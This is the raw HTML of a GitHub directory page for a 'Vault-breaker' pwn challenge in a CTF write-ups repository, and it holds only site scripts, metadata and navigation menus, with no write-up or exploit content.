src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>CTF-Writeups/Cyber_Apocalypse2022/pwn/Vault-breaker at main · GonTanaka/CTF-Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="ECA3:87C6:1D19BBE6:1DF97C05:64121B35" data-pjax-transient="true"/><meta name="html-safe-nonce" content="a10a4603e0686bf0d75309611ed92959bf6bf73caaab63f3b8493c1899a3b2ec" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJFQ0EzOjg3QzY6MUQxOUJCRTY6MURGOTdDMDU6NjQxMjFCMzUiLCJ2aXNpdG9yX2lkIjoiNjM0NTQ5ODk5MTA0ODkyMzk1NyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="ecc718a96a70e05ca88b93374e9f64c92568ef96fb66480adb23029f6ea5dca3" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:437949506" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn/Vault-breaker at main · GonTanaka/CTF-Writeups" /><meta name="twitter:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/5076c5485b99dc8930ec5aceeb8c270f5192b99906f8dc16dcb8e4404c5e05da/GonTanaka/CTF-Writeups" /><meta property="og:image:alt" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/Cyber_Apocalypse2022/pwn/Vault-breaker at main · GonTanaka/CTF-Writeups" /><meta property="og:url" content="https://github.com/GonTanaka/CTF-Writeups" /><meta property="og:description" content="CTF Challenges Writeups. Contribute to GonTanaka/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/GonTanaka/CTF-Writeups git https://github.com/GonTanaka/CTF-Writeups.git">
<meta name="octolytics-dimension-user_id" content="96073448" /><meta name="octolytics-dimension-user_login" content="GonTanaka" /><meta name="octolytics-dimension-repository_id" content="437949506" /><meta name="octolytics-dimension-repository_nwo" content="GonTanaka/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="437949506" /><meta name="octolytics-dimension-repository_network_root_nwo" content="GonTanaka/CTF-Writeups" />
<link rel="canonical" href="https://github.com/GonTanaka/CTF-Writeups/tree/main/Cyber_Apocalypse2022/pwn/Vault-breaker" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
